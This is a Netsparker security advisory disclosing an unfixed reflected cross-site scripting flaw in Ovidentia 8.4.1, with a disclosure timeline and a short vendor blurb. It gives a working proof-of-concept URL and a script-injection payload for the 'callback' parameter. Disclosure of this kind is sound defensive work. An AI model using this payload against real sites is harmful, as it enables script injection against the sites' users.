Information
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Advisory by Netsparker
Name: Reflected XSS Vulnerability in Ovidentia
Affected Software : Ovidentia
Affected Versions: 8.4.1
Vendor Homepage : http://www.ovidentia.org/ 
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Not Fixed
Netsparker Advisory Reference : NS-16-014

Technical Details
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Proof of Concept URL for XSS vulnerability in Ovidentia;

URL http://pentest.pwn/Scan/ovidentia/index.php?tg=month&callback='"--></style></scRipt><scRipt>alert(0x0059E6)</scRipt>
Parameter Name callback
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x0059E6)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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28 Jun 2016 - First contact
Jun - Sep 2016 - Several contact attempts were made
19 Sep 2016 - No answer, advisory released

Solution
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-

Credits & Authors
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This issues has been discovered by Sven Morgenroth while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.